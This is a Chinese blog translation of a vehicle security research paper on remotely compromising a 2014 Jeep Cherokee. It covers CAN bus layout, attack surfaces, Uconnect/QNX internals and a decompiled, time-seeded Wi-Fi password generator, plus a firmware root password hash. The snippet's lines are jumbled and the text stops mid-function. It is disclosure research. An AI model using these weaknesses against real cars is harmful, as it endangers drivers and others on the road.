😇
牛牛的安全 Odin
  • 个人介绍
  • 数据安全
  • 工控安全
    • 工控概念
  • 车联网安全合规
    • R155
    • CSMS\VTA
    • GDPR认证
  • 车联网安全
    • 漏洞订阅
    • 汽车攻击时间轴
    • 汽车信息安全研究
      • 车厂安全需求 Custom Requirement
      • 安全威胁
      • 参考文章
      • Who’s Behind the Wheel?
      • 安全研究基础
      • 智能网联汽车安全渗透指标
      • 智能网联汽车软件安全测试关键技术研究
      • 基于硬件在环的整车控制器功能安全测试技术研究
      • 智能网联汽车信息安全解决方案
      • 自动驾驶汽车的安全性-识别挑战
    • ECU逆向案例
      • 特斯拉攻击链
      • 汽车动力系统ECU固件逆向工程初探
  • 物联网安全
    • IoT 技术和协议
    • 智能设备常规测试思路总结
    • 各种调试接口(SWD、JTAG、Jlink、Ulink、STlink)的区别
    • QEMU 系统仿真
      • 如何“用 QEMU 模拟它”
      • 处理加密的路由器固件
    • 自动分析Automated Approach
    • IOT渗透测试(一)
    • 物联网安全目录
  • 固件分析案例
    • 智能门锁、手环
      • MCU固件反汇编
      • 云丁鹿客门锁中bootloader和FreeRTOS的分析
      • 云丁鹿客门锁BLE通信的分析(下)
      • 云丁鹿客门锁BLE通信的分析(中)
      • 云丁鹿客门锁BLE通信的分析(上)
      • 华为智联旗下小豚AI摄像头的完整分析(下)
      • 华为智联旗下小豚AI摄像头的完整分析(上)
      • 海康萤石智能门锁的网关分析(4)
      • 海康萤石智能门锁的网关分析(3)
      • 海康萤石智能门锁的网关分析(2)
      • 海康萤石智能门锁的网关分析(1)
      • idapython编写和调试
      • 果加智能门锁的全面分析(下)
      • 果加智能门锁的全面分析(中)
      • 果加智能门锁的全面分析(上)
      • BLE智能手环
      • 耶鲁智能门锁的简单测试(下)
      • 耶鲁智能门锁的简单测试(上)
      • 耶鲁门锁漏洞
      • 对一款BLE灯泡的分析
      • BLE协议栈与Android BLE接口简介
    • 在IoT设备中查找端口对应进程的四种方法
    • 路由器命令执行
    • 对基于Philips TriMedia CPU的网络摄像机进行逆向工程
    • 从Microsoft Band以及 Hello Sense 设备中提取自己的历史数据
    • CVE-2021-22909- 深入研究 UBIQUITI 固件更新错误
    • 复现|摄像头固件重打包
    • Dlink_DWR-932B路由器固件分析
    • 针对小米九号平衡车的无接触式攻击
    • 记一次智能印章设备的漏洞挖掘
  • APP 逆向
    • Go二进制文件逆向分析从基础到进阶——综述
    • Switch APP逆向分析
  • 传统静态代码分析
    • 静态分析案例
      • ELF恶意软件的静态分析原理和方法(上)
      • ELF恶意软件的静态分析原理和方法(下)
    • 静态代码分析工具清单
    • 企业级静态代码分析工具清单
  • 应用安全测试
    • DAST、SAST、IAST
    • IAST 工具初探
  • 芯片架构
    • ARM指令集概念
    • ARM指令集
    • 冯·诺伊曼结构
    • 指令集
    • 处理器架构、指令集和汇编语言,三者有何关系?
  • 病毒分析
    • 熊猫烧香
  • 编程知识
    • REST API 教程
  • 流量分析工具
    • 卡巴斯基开源的智能手机流量劫持工具
    • 利用 Burp Suite 劫持 Android App 的流量(二)
    • 利用 Burp Suite 劫持 Android App 的流量(一)
  • 区块链安全
    • 安全多方计算
    • Chainalysis 团队从区块链的角度分析发现 2020 年最大的 4 起勒索软件攻击实现存在关联
  • 攻击案例
    • 特斯拉Powerwall网关可能受到黑客攻击
  • 移动应用
    • Mac上使用Charles抓包
    • 手机抓包工具汇总
    • APP渗透测试流程和技巧大全
    • 加壳和脱壳
    • 浅谈 Android Dex 文件
    • 移动应用漏洞分析样例分享
    • 移动应用常见漏洞分析
    • 移动应用漏洞分析工具介绍
    • 渗透测试流程详解 及 移动APP安全测试要点
    • Frida Android hook
  • 安全设计
    • 【软件安全设计】安全开发生命周期(SDL)
Powered by GitBook
On this page
  • 介绍
  • 目标 – 2014 Jeep Cherokee
  • 网络架构
  • 网络物理特性
  • 远程攻击面
  • Uconnect 系统
  • QNX 环境
  • 文件系统和服务
  • Wi-Fi
  • D-Bus 服务
  • 蜂窝
  • CAN 连接
  • 越狱 Uconnect
  • 任何版本
  • 版本 14_05_03
  • 更新模式
  • 正常模式
  • 利用 D-Bus 服务
  • 获得代码执行
  • Uconnect 攻击载荷
  • GPS
  • HVAC
  • 收音机音量
  • 低音
  • 广播电台 (FM)
  • 显示
  • 旋钮
  • 蜂窝漏洞利用
  • 网络设置
  • Femtocell
  • 蜂窝接入
  • 扫描易受攻击的车辆
  • 扫描结果
  • 估计易受攻击的车辆数量
  • 车辆蠕虫
  • V850
  • Modes
  • 更新 V850
  • 逆向工程 IOC
  • 在没有 USB 的情况下刷新 v850
  • SPI 通信
  • SPI 消息协议
  • 获取 V850 版本信息
  • 固件中的 V850 漏洞
  • 通过 V850 芯片发送 CAN 消息
  • 整个漏洞利用链
  • 识别目标
  • 利用主机的 OMAP 芯片
  • 控制 Uconnect 系统
  • 使用修改后的固件刷新 v850
  • 执行网络物理操作
  • 网络物理内部结构
  • 机械工具
  • PAM ECU Reversing
  • 网络物理 CAN 消息
  • 正常 CAN 消息
  • 诊断 CAN 消息
  • 披露
  • 修补和缓解措施
  • 结论
  1. 车联网安全
  2. 汽车信息安全研究

Who’s Behind the Wheel?

博主个人翻译

此文为博主个人翻译,翻译准确度较低,仅供个人学习。他人不可用于商业行为。

介绍

汽车安全研究对一般受众来说很有趣,因为大多数人都有汽车,并且了解攻击者控制车辆的固有危险。

大多数情况下,汽车安全研究始于 2010 年,当时华盛顿大学和加州大学圣地亚哥分校的研究人员 [1] 表明,如果他们可以将消息注入车辆的 CAN 总线(据信是 2009 年雪佛兰Malibu)他们可以对汽车进行物理改变,例如控制车速表上的显示、关闭发动机以及影响制动。

这项研究非常有趣但受到了广泛的批评,因为人们声称攻击者无法在没有近距离物理访问车辆的情况下注入这些类型的消息,并且通过这种类型的访问,他们可以只切断电缆或执行一些其他物理攻击。

第二年,这些相同的研究小组表明,他们可以远程执行 2010 年论文 [2] 中的相同攻击。

他们展示了在车辆上执行代码的三种不同方式,包括收音机的 mp3 解析器、蓝牙堆栈和远程信息处理单元。

一旦他们运行了代码,他们就可以注入影响车辆物理系统的 CAN 消息。

这项远程攻击研究具有开创性,因为它表明车辆容易受到来自全国各地的攻击,而不仅仅是本地攻击。

两篇研究论文都没有做的一件事是详细记录这些攻击是如何工作的,甚至是使用了哪种汽车。

此后不久,在 2012 年,这篇论文的作者获得了 DARPA 的资助,用于制作一个工具库,以帮助继续进行汽车研究并降低新研究人员进入该领域的门槛。

我们发布了这些工具 [3] 并演示了对两款新型车辆的物理攻击,一辆 2010 款福特 Escape 和一辆 2010 款丰田普锐斯。

许多研究人员已经使用了相同的工具,甚至被美国国家公路交通安全管理局用于测试 [34]。

由于前几年学术研究人员发布的材料,我们 2012 年的研究假设远程妥协是可能的。

因此,我们假设我们可以以可靠的方式将 CAN 消息注入总线。

除了发布工具,我们还发布了用于攻击的确切信息,以鼓励其他研究人员参与车辆研究。

除了发布工具和记录攻击之外,我们的另一个主要贡献是展示了如何通过 CAN 消息控制转向。

这是由于自之前的研究以来车辆不断发展,现在包括自动平行停车和车道保持辅助等功能,这些功能需要转向 ECU 通过 CAN 总线接受命令。

这表明随着新技术被添加到车辆中,新的攻击成为可能。

汽车行业的回应再次指出,这些攻击之所以可能发生,是因为我们可以物理访问车辆,以便将消息注入总线。

例如,丰田发布了一份声明,其中部分内容是“我们的重点,以及整个汽车行业的重点,是防止来自车外远程无线设备的黑客攻击。我们相信我们的系统是强大和安全的。”[4]

2013 年,我们获得了 DARPA 的第二笔资助,试图开发一个平台,帮助研究人员进行汽车安全研究,而无需购买车辆。

同样,重点是通过降低汽车研究的成本和工作量来让更多人关注这个问题,特别是对于那些来自更传统的计算机安全背景的研究人员。

[5] 2014 年,为了尝试对当时在非常精细的级别(2009 雪佛兰迈锐宝、2010 福特 Escape、2010 丰田普锐斯)进行检查的三款汽车进行概括,我们收集了有关架构的数据大量车辆。

在高层次上,我们试图确定哪些车辆会对攻击者构成最大的障碍,从评估攻击面开始,到将 CAN 消息发送到安全关键 ECU,最后让 ECU 采取某种物理行动 [6].

最后,我们发现 2014 年的 Jeep Cherokee 和另外两辆车似乎结合了大的攻击面、简单的架构和许多先进的物理特征,这使其成为尝试继续我们研究的理想候选者。

为本文所述的研究采购了 2014 年的 Jeep Cherokee,因为我们想表明,就像学术研究人员一样,我们之前概述的针对福特和丰田的攻击也可以远程进行。

由于汽车制造商在我们发布原始研究后对此感到非常自豪,因此我们想证明对未更改车辆的远程攻击仍然是可能的,我们需要鼓励每个人认真对待这种威胁。

本文概述了对未经更改的 2014 年吉普切诺基和类似车辆进行远程攻击的研究,从而导致对车辆某些方面的物理控制。

希望这项额外的远程攻击研究可以通过向安全研究人员、汽车制造商、汽车供应商和消费者提供这些详细信息,为我们未来更安全的联网汽车铺平道路。

目标 – 2014 Jeep Cherokee

选择 2014 Jeep Cherokee 是因为我们认为它可以为我们提供最好的机会来成功证明车辆的远程入侵可能导致发送可能侵犯驾驶员隐私并对攻击者执行物理操作的消息代表。

正如我们之前的研究 [6] 所指出的,这种车辆似乎对攻击者的潜在障碍较少。

这并不是说其他​​制造商的车辆不可入侵,甚至更安全,只是表明通过一些研究,我们认为这是我们最好的目标。

更重要的是,在添加本文作者所需的所有技术功能时,Jeep 符合我们的预算限制。

网络架构

2014 款 Jeep Cherokee 的架构对我们来说非常有趣,因为主机 (Radio) 连接到车辆中实现的两条 CAN 总线。

我们推测,如果无线电可能受到损害,那么我们将可以访问 CAN-IHS 和 CAN-C 网络上的 ECU,这意味着消息可以发送到控制车辆物理属性的所有 ECU。

您将在本文后面看到,我们对主机的远程入侵不会直接导致访问 CAN 总线,因此需要进一步的开发阶段。

话虽如此,没有 CAN 总线架构限制,例如转向在物理上独立的总线上。

如果我们可以从主机发送消息,我们应该能够将它们发送到 CAN 总线上的每个 ECU。

CAN C 总线

 ABS 模块 - 防抱死制动

 AHLM 模块 - 大灯调平

 ACC 模块 - 自适应巡航控制

 BCM 模块 - 车身控制

 CCB 连接器 - STAR CAN C 车身

 CCIP 连接器 - STAR CAN C IP

 DLC 数据链路连接器

 DTCM 模块 - 传动系统控制

 EPB 模块 - 电子驻车制动器

 EPS 模块 - 电动助力转向

 ESM 模块 - 电子换档

 FFCM 摄像头 面向前的

 IPC CLUSTER 工控机集群

 OCM 模块 - 乘员分类

 ORC 模块 - 乘员约束控制器

 PAM 模块 - 驻车辅助

 PCM 模块 - 动力系统控制 (2.4L)

 无线电模块 - 无线电

 RFH 模块 - 无线电频率集线器

 SCM 模块 - 转向控制

 SCLM 模块 - 转向柱锁变速器

 TCM MODULE-传输控制

CAN IHS Bus

 AMP 放大器 - 无线电

 BCM 模块 - 车身控制

 CCB 连接器 - STAR CAN IHS 车身

 CCIP 连接器 - STAR CAN IHS IP

 DDM 模块 - 车门驱动器

 DLC 数据链路连接器

 STER CAN IHS 车身

 HVAC 模块 - A/C 加热器

 ICS 模块 - 集成中央堆叠开关

 IPC 模块 - 集群

 LBSS 传感器 - 左后盲点

 MSM 模块 - 记忆座椅驱动

 PDM 模块 - 车门乘客左舵模块

 PLGM 模块 - 电动升降门

无线模块 - 无线电(不是桥接器)

 RBSS 传感器 - 右后方盲点

网络物理特性

本节介绍 2014 款 Jeep Cherokee 中用于辅助驾驶的系统。

这些技术对我们来说特别有趣,因为之前已经在攻击中利用类似的系统来获取汽车的物理属性 [3]。

虽然我们相信这些技术进步提高了驾驶员及其周围环境的安全性,但它们为攻击者提供了利用它们作为控制车辆的手段的机会。

自适应巡航控制 (ACC)

我们在测试中使用的 2014 年吉普车配备了自适应巡航控制 (ACC),这是一项帮助驾驶员与前方车辆保持适当距离的技术。从本质上讲,它确保如果启用巡航控制并且车辆在您面前减速,吉普车会以适当的压力施加制动以避免碰撞并在障碍物移开后恢复巡航控制速度或处于安全距离。如果前方车辆停下,ACC 可以将车辆减速至完全停止。

前向碰撞警告增强版 (FCW+)

与 ACC 非常相似,前向碰撞警告增强版 (FCW+) 可防止吉普车与其前方的物体发生碰撞。与 ACC 不同的是,除非明确关闭,否则 FCW+ 始终处于启用状态,从而在发生预期碰撞时为驾驶员提供辅助制动的额外好处。例如,如果司机在手机上查看推特而不是看路,而她前面的车辆突然停下来,FCW+ 会发出声音警告并代表司机刹车。

车道偏离警告 (LDW+)

车道偏离警告 Plus (LDW+) 是另一项用于确保驾驶员在高速公路上行驶时安全的功能。启用 LDW+ 后,它会检查道路上的线条(即油漆),试图确定吉普车是否在无意中驶入其他车道,以期防止碰撞或更糟。如果它检测到吉普车离开当前车道,它会调整方向盘,使车辆保持在当前车道上。

停车辅助系统 (PAM)

近来进入非豪华空间的最新功能之一是停车辅助系统 (PAM)。Jeep 中的 PAM 允许驾驶员在各种场景中轻松停车,无需与驾驶员进行太多交互,例如平行停车、倒车等。本文的作者认为这是控制转向的最简单的切入点。现代车辆,并已证明使用该技术仅通过 CAN 消息即可高速驾驶汽车 [3]。正如您将在本文档后面看到的,PAM 技术和模块在我们研究的多个方面发挥了关键作用。

远程攻击面

下表列出了攻击者的潜在入口点。虽然许多人只从技术的角度考虑这些项目,但具有攻击者思维的人认为每一项与外部世界交互的技术都是潜在的切入点。

被动防盗系统 (PATS)

对于许多现代汽车,点火钥匙中有一个小芯片,可以与车辆中的传感器进行通信。对于 Jeep,该传感器直接连接到射频集线器模块 (RFHM)。当按下点火按钮时,车载电脑发出射频信号,由钥匙中的应答器接收。然后应答器向车辆的计算机返回一个独特的射频信号,确认启动并继续运行。这一切都发生在不到一秒钟的时间里。如果车载计算机没有收到正确的识别码,某些部件(例如燃油泵和某些启动器)将保持禁用状态。

就远程攻击而言,这个攻击面很小。唯一传输(并由 IC 上的软件处理)的数据是识别码和底层 RF 信号。很难想象此代码中存在可利用的漏洞,即使存在漏洞,您也必须非常靠近传感器,因为它被有意设计为仅接收附近的信号。

轮胎压力监测系统 (TPMS)

每个轮胎都有一个压力传感器,它不断测量轮胎压力并将实时数据传输到 ECU。在吉普车中,接收传感器连接到 RFHM。该无线电信号是专有的,但已经进行了一些研究,以了解某些车辆的 TPMS 系统并调查其潜在安全性。[7] 当然可以对 TPMS 执行一些操作,例如使车辆认为它有轮胎问题,或 TPMS 系统有问题。

此外,研究人员已经表明 [7] 在某些情况下,可能会真正使相关的 ECU 崩溃并远程变砖。关于代码执行的可能性,攻击面似乎相当小,但远程砖化表明数据正在以不安全的方式处理,因此这可能是可能的。

遥控无钥匙进入/启动 (RKE)

遥控钥匙或遥控无钥匙进入 (RKE) 包含一个短距离无线电发射器,可与车辆中的 ECU 进行通信。无线电发射器发送包含识别信息的数据,ECU 可以从中确定钥匙是否有效并随后锁定、解锁和启动车辆。在吉普车中,RFHM 再次收到此信息。

关于远程代码执行,攻击面非常小。RFHM 必须具有一些固件来处理 RF 信号处理、加密/解密代码、识别来自密钥卡的数据的逻辑,以及针对附加/替换密钥卡进行编程。虽然这是一种可能的攻击途径,但在 RKE 中查找和利用远程代码执行漏洞似乎不太可能且有限。

蓝牙

大多数车辆都能够通过蓝牙同步设备。这表示由 ECU 处理的具有某种复杂性的远程信号。在吉普车中,蓝牙由无线电(也就是主机)接收和处理。这允许汽车访问电话的通讯录、拨打电话、播放音乐、从电话发送短信以及其他功能。与迄今为止的其他信号不同,蓝牙堆栈非常大,并且代表了过去存在漏洞的重要攻击面 [8]。通常有两种涉及蓝牙堆栈的攻击场景。第一次攻击涉及未配对的设备。这种攻击是最危险的,因为任何攻击者都可以访问此代码。第二种利用方法发生在配对之后,由于涉及一些用户交互,因此威胁较小。此前,研究人员已经通过蓝牙接口显示了车辆的远程入侵 [2]。Codenomicon 的研究人员发现,汽车中常见的蓝牙接收器发生了许多碰撞事故 [9]。

无线电数据系统

收音机不仅接收音频信号,还接收其他数据。在吉普车中,收音机有许多这样的远程输入,例如 GPS、AM/FM 收音机和卫星收音机。在大多数情况下,这些信号只是简单地转换为音频输出,并不代表数据的重要解析,这意味着它们可能不包含可利用的漏洞。一种可能的例外可能是用于与 FM 模拟信号(或卫星无线电中的等效信号)一起发送数据的无线电数据系统数据。当收音机会说出电台名称、播放歌曲的标题等时,用户通常会看到这一点。在这里,必须解析和显示数据,从而为安全漏洞留出空间。

Wi-Fi

一些具有基于蜂窝网络的 Internet 连接的汽车实际上通过充当 Wi-Fi 热点与乘客共享此 Internet 连接。在 Jeep 中,这是一项每次使用都必须购买的功能,例如一天或一个月。我们所做的一项观察是,Wi-Fi 系统可以由没有汽车系统高级知识的个人进行评估。Wi-Fi 安全评估方法已经存在多年,并且最近经常记录接入点黑客攻击 [10]。

远程信息处理/互联网/应用程序

许多现代汽车都包含蜂窝无线电,通常称为远程信息处理系统,用于将车辆连接到蜂窝网络,例如通用汽车的 OnStar。蜂窝技术还可用于检索数据,例如交通或天气信息。这是汽车攻击的圣杯,因为范围非常广泛(即只要汽车可以进行蜂窝通信)。即使远程信息处理单元不直接驻留在 CAN 总线上,它也有能力通过麦克风将数据/语音远程传输到另一个位置。研究人员以前在没有用户交互的情况下远程利用汽车的远程信息处理单元 [2]。在 Jeep 上,所有这些功能都由位于 CAN-IHS 总线和 CAN-C 总线上的 Radio 控制。

通用汽车的 Onstar 系统具有启动车辆的能力 [38],攻击者可以利用它来窃取车辆或激活引擎以允许在系统上执行代码。此外,OnStar 系统提供了一项功能,可以强制车辆“逐渐安全地减速”,前提是执法部门给予了适当的授权 [39]。2012 年,该功能阻止了从西邓迪到芝加哥的 40 英里高速警察追捕 [40]。如果攻击者设法利用授予 OnStar 车辆控制权的代码,他们可能会造成相当大的伤害,即使攻击者没有禁用逐渐减慢车辆而不是突然停止的控制。

远程信息处理、互联网、收音机和应用程序都捆绑在 2014 年吉普切诺基随附的 Harman Uconnect 系统中。Uconnect 系统将在下面更详细地描述,但我们想指出与“信息娱乐”相关的所有功能都位于一个单元中。

Uconnect 系统

2014 Jeep Cherokee 使用 Harman Kardon 制造的 Uconnect 8.4AN/RA4 无线电作为信息娱乐、Wi-Fi 连接、导航、应用程序和蜂窝通信的唯一来源 [11]。大多数功能在物理上位于德州仪器 OMAP-DM3730 片上系统 [12] 上,这在汽车系统中似乎很常见。这些 Harman Uconnect 系统可用于 Fiat Chrysler Automotive 的多种不同车辆,包括 Chrysler、Dodge、Jeep 和 Ram 的车辆。Harman Uconnect 系统也可能用于其他汽车。

Uconnect 主机还包含一个微控制器和软件,允许它通过控制器局域网 - 内部高速 (CAN-IHS) 数据总线与车辆中的其他电子模块进行通信。在配备 Uconnect Access 的车辆中,该系统还通过 CAN-C 数据总线与车辆中的其他电子模块进行电子信息通信。Harman Uconnect 系统不仅限于 Jeep Cherokee,在克莱斯勒-菲亚特汽车系列中也很常见,甚至有望在法拉利 California 上亮相![13]。

这意味着虽然本文的网络物理方面仅限于 2014 款 Jeep Cherokee,但 Uconnect 漏洞和信息与包含该系统的任何车辆相关。因此,道路上易受伤害的车辆数量急剧增加。

QNX 环境

2014 款 Jeep Cherokee 中的 Uconnect 系统在 32 位 ARM 处理器上运行 QNX 操作系统,这似乎是汽车信息娱乐系统的常见设置。如果物理 Uconnect 系统不可用,大部分测试和检查可以在 QNX 虚拟机 [17] 上完成,尽管它显然有助于拥有一个用于应用研究的工作单元。

# pidin info
CPU:ARM Release:6.5.0 FreeMem:91Mb/512Mb BootTime:Jul 30 21:45:38 2014
Processes: 107, Threads: 739
Processor1: 1094697090 Cortex A8 800MHz FPU

除了可以使用虚拟 QNX 系统之外,用于更新和重新安装操作系统的 ISO 包可以很容易地从 Internet 下载 [18]。通过拥有 ISO 文件并研究目录结构和文件系统,可以在没有车辆、Uconnect 系统或 QNX 虚拟机的情况下完成各种研究,例如逆向工程选择二进制文件。

文件系统和服务

我们 Uconnect 单元中使用的 NAND 闪存包含几个不同的文件系统,用于各种目的。下面的列表是感兴趣的文件系统,需要额外研究的部分将在本文后面讨论。有关 QNX 映像不同部分的更多信息,请参阅他们的文档 [19]。

 IPL:初始程序加载器 (IPL) 部分包含用于加载 Uconnect 系统的引导加载程序。虽然非常有趣,但我们没有详细检查引导加载程序,因为主机的其他方面与我们对车辆的物理控制目标更相关。

 IFS:IFS 包含 QNX 文件系统映像并在启动时加载到 RAM 中。该文件系统包含人们认为与操作系统相关联的所有二进制文件和配置文件。IFS 部分是只读的。因此,虽然有许多二进制文件很容易被覆盖/替换,但攻击者的能力是有限的。也就是说,IFS 在更新过程中被修改,这将在本文档后面讨论。

 ETFS:嵌入式事务文件系统 (ETFS) 是一种可以修改的读写文件系统。ETFS 用于嵌入式固态存储设备。

ETFS 实现了一个高可靠性的文件系统,用于嵌入式固态存储设备,尤其是 NAND 闪存。文件系统支持具有 POSIX 语义的完全分层目录结构。

 MMC:多媒体卡 (MMC) 部分安装在 /fs/mmc0/ 并用于系统数据。这是 Uconnect 系统中唯一可写的大区域,我们随后将在开发过程中将其用作存储文件的地方。

IFS

如上所述,IFS 用于存放在 Uconnect 主机上运行 QNX 操作系统所需的系统二进制文件和配置文件。可以通过查看从克莱斯勒获得的 ISO 中的文件来检查文件系统,以了解在更新过程中哪些文件会受到影响。例如,检查未打包 ISO 主目录中的“manifest”会发现 IFS 位于名为“ifs-cmc.bin”的文件中。

ifs =
{
name = "ifs installer.",
installer = "ifs",
data = "ifs-cmc.bin",
},

如果我们想在没有 Uconnect 系统的情况下查看 IFS,“swdl.bin”需要安装在 QNX 虚拟机中,因为它是一个非标准的 IFS 映像。它包含更新过程所需的所有系统可执行文件。“swdl.bin”文件可以在“swdl/usr/share”目录中找到。

例如,要将 IFS 转储到 QNX(或本例中的 QNX 虚拟机),您可以运行类似于以下命令的内容:

memifs2 -q -d /fs/usb0/usr/share/swdl.bin /

结果是能够检查以只读方式安装的根目录(“/”)。这个文件系统可以通过发出‘dumpifs’命令来完全迭代。下面的输出是从更新 ISO 中包含的 IFS 转储的内容。

Offset Size Name
0 8 *.boot
8 100 Startup-header flags1=0x9 flags2=0 paddr_bias=0
108 22008 startup.*
22110 5c Image-header mountpoint=/
2216c cdc Image-directory
---- ---- Root-dirent
23000 8a000 proc/boot/procnto-instr
ad000 325c proc/boot/.script
---- 3 bin/sh -> ksh
---- 9 dev/console -> /dev/ser3
---- a tmp -> /dev/shmem
---- 10 usr/var -> /fs/etfs/usr/var
---- 16 HBpersistence -> /fs/etfs/usr/var/trace
---- a var/run -> /dev/shmem
---- a var/lock -> /dev/shmem
---- a var/log/ppp -> /dev/shmem
---- 15 opt/sys/bin/pppd -> /fs/mmc0/app/bin/pppd
---- 15 opt/sys/bin/chat -> /fs/mmc0/app/bin/chat
---- 18 bin/netstat -> /fs/mmc0/app/bin/netstat
---- 16 etc/resolv.conf -> /dev/shmem/resolv.conf
---- 16 etc/ppp/resolv.conf -> /dev/shmem/resolv.conf
---- 18 etc/tuner -> /fs/mmc0/app/share/tuner
---- 8 var/override -> /fs/etfs
---- c usr/local -> /fs/mmc0/app
---- b usr/share/eq -> /fs/mmc0/eq
b1000 12af etc/system/config/fram.conf
b3000 38c etc/system/config/nand_partition.txt
b4000 56b etc/system/config/gpio.conf
b5000 247b bin/cat
b8000 1fed bin/io
ba000 2545 bin/nice
bd000 216a bin/echo
c0000 38e0f bin/ksh
f9000 41bb bin/slogger
fe000 60a1 bin/waitfor
105000 531b bin/pipe
10b000 5e02 bin/dev-gpio
120000 1270b bin/dev-ipc
140000 1f675 bin/io-usb
160000 29eb bin/resource_seed
163000 3888 bin/spi-master
167000 48a0 bin/dev-memory
16c000 9eab bin/dev-mmap
176000 602c bin/i2c-omap35xx
17d000 da08 bin/devb-mmcsd-omap3730teb
18b000 dd3 bin/dev-ipc.sh
18c000 2198 bin/mmc.sh
190000 1208f bin/devc-seromap
1a3000 323d bin/rm
1a7000 ffa2 bin/devc-pty
1b7000 4eb bin/startSplashApp
1b8000 692 bin/startBackLightApp
1b9000 1019 bin/mmc_chk
1bb000 42fe usr/bin/adjustImageState
1c0000 12c81 usr/bin/memifs2
1d3000 284 usr/bin/loadsecondaryifs.sh
1e0000 77000 lib/libc.so.3
---- 9 lib/libc.so -> libc.so.3
260000 b0e4 lib/dll/devu-omap3530-mg.so
26c000 9d17 lib/dll/devu-ehci-omap3.so
276000 4705 lib/dll/spi-omap3530.so
280000 14700 lib/dll/fs-qnx6.so
295000 36e6 lib/dll/cam-disk.so
2a0000 2b7ba lib/dll/io-blk.so
2d0000 5594f lib/dll/charset.so
330000 1243c lib/dll/libcam.so.2
---- b lib/dll/libcam.so -> libcam.so.2
350000 3886 lib/dll/fram-i2c.so
Checksums: image=0x702592f4 startup=0xc11b20c0

尽管“dumpifs”命令似乎没有与完整操作系统相关联的所有内容,例如“/etc/shadow”,但在二进制文件上运行 grep 表明最有可能存在此类文件。例如,如果您搜索“root”,则该字符串有多个实例,最有趣的两个实例是:

root:x:0:a 
root:ug6HiWQAm947Y:::9b

可以在已越狱远程访问的工作主机上对 IFS 进行更彻底的检查。我们将在本文档后面讨论越狱主机。

ETFS

ETFS 实现了一个高可靠性的文件系统,用于嵌入式固态存储设备,尤其是 NAND 闪存 [20]。显然,ISO 上没有 ETFS,但可以在实时 Uconnect 系统上进行检查。从我们的角度来看,这个文件系统上没有太多有趣的数据,所以我们没有进一步推进。

Example: /fs/etfs/usr/var/sdars/channelart/I00549T00.png

MMC

在调查 ISO 和 Uconnect 系统时,MMC 文件系统包含一些最有趣的项目。它特别有趣,因为它可以以读写方式挂载,这意味着如果有感兴趣的东西,比如启动脚本或网络服务,我们可以启用它们或更改它们的内容。例如,我们发现了诸如“sshd”、“boot.sh”和“runafterupdate.sh”之类的项目。安装脚本“mmc.lua”将“/usr/share/MMC_IFS_EXTENSION”从 ISO 复制到“/fs/mmc0/app”。

PPS

QNX 系统上运行着许多有趣的服务,但对它们进行解释超出了本文档的范围。一项重要的服务是持久发布/订阅 (PPS) 服务。它在其各自的目录中有几个我们感兴趣的文件。最值得注意的是下面列出的文件:

/pps/can/vehctl
/pps/can/tester
/pps/can/can_c
/pps/can/send
/pps/can/comfortctl

这些文件本质上是写入数据的地方,以便其他进程可以将它们用作输入。它们视为具有一些数据处理功能的 UNIX 管道,以帮助解析数据结构。有一个定义良好的 API 可以与 PPS 文件交互。考虑存储在 PPS 文件中的以下数据:

@gps 
city::Ottawa 
speed:n:65.412
position:json:{"latitude":45.6512,"longitude":-75.9041}

要提取此数据,您可以使用如下所示的代码:

const char *city;
double lat, lon, speed;
pps_decoder_t decoder;
pps_decoder_initialize(&decoder, NULL); 
pps_decoder_parse_pps_str(&decoder, buffer); 
pps_decoder_push(&decoder, NULL); 
pps_decoder_get_double(&decoder, "speed", &speed); 
pps_decoder_get_string(&decoder, "city", &city);
pps_decoder_push(&decoder, "position"); 
pps_decoder_get_double(&decoder, "latitude", &lat); 
pps_decoder_get_double(&decoder, "longitude", &lon); 
pps_decoder_pop(&decoder);
pps_decoder_pop(&decoder);
if ( pps_decoder_status(&decoder, false) == PPS_DECODER_OK ) {
. . .
}
pps_decoder_cleanup(&decoder);

以下是来自实时 Uconnect 系统的真实示例:

# cat send [n]@send 
DR_MM_Lat::1528099482
DR_MM_Long::1073751823
GPS_Lat::1528099482
GPS_Long::1073751823
HU_CMP::0
NAVPrsnt::1
RADIO_W_GYRO::1

尽管在名为“can_c”的子目录中有 PPS 文件,但写入这些文件似乎并没有创建我们可以用嗅探器看到的 CAN 消息。换句话说,这些 PPS 文件仅提供对进程如何通信的洞察,而无需对 CAN 总线进行任何直接通信访问。

我们最初希望我们能够使用这些 PPS 文件来发送任意 CAN 消息,但事实证明这是不可行的,因此我们将努力转移到其他地方。这并不是说不可能将这些文件与 PPS 子系统一起使用来发送任意 CAN 消息,我们只是想我们可以找到更好的方法来获得我们想要的结果。

Wi-Fi

2014 款 Jeep Cherokee 可以选择车载 Wi-Fi,这是一个热点,只有在通过网络或 Uconnect 系统支付服务费用后才能访问。在文档的后面,我们将讨论 Wi-Fi 热点中的一个漏洞,但请记住,只有在所有者启用并支付了该功能的情况下,它才能被利用。

加密

默认的 Wi-Fi 加密方法是 WPA2,随机生成的密码至少包含 8 个字母数字字符。

由于 WPA2 的当前强度和可能的密码数量,这是一个非常安全的设置,这就引出了一个问题,攻击者如何获得对该网络的访问权限?一种更容易但不太可能的可能性是用户选择了 WEP 或根本不加密,这两者都是可用选项。由于该功能面向孩子在旅行中使用支持 Wi-Fi 的设备的家庭销售,因此值得注意的是,一些被误导的父母可能会禁用他们系统上的加密协议,这样他们就不必将随机生成的复杂密码输入每个孩子的系统。

在任何一种情况下,攻击者通过破解 WEP 密码 [20] 或仅加入接入点来获得对无线接入点的访问权限都没有什么问题。如果攻击者已经破坏了连接到车内 Wi-Fi 热点的设备,例如笔记本电脑或手机,则存在另一种攻击场景。所有者为这项服务付费的事实意味着他们可能有一部电话或其他设备,他们经常连接到无线网络。在这种情况下,如果攻击者可以访问这些设备之一,它们就已经连接到汽车的无线网络。

不幸的是,我们觉得这个场景有太多的先决条件,不能成为 l33t。但是,正如我们将看到的,即使在用户具有默认 WPA2 设置的情况下,攻击者仍然有可能访问网络,而且可能非常容易。从 OMAP 芯片(可以通过从实时 QNX 实例转储二进制文件获得)中反汇编“WifiSvc”二进制文件,可以识别用于构建随机密码的算法。

该算法出现在标识为 WiFi.E:generateRandomAsciiKey() 的函数中。通过反汇编可以看出,该算法包括以下内容:

int convert_byte_to_ascii_letter(signed int c_val)
{
char v3; // r4@2
if ( c_val > 9 )
{
if ( c_val > 35 )
v3 = c_val + 61;
else
}
else
{
v3 = c_val + 55;
v3 = c_val + 48;
}
return v3;
}
char *get_password(){
int c_max = 12;
int c_min = 8;
unsigned int t = time(NULL);
srand (t);
unsigned int len = (rand() % (c_max - c_min + 1)) + c_min;
char *password = malloc(len);
int v9 = 0;
do{
unsigned int v10 = rand();
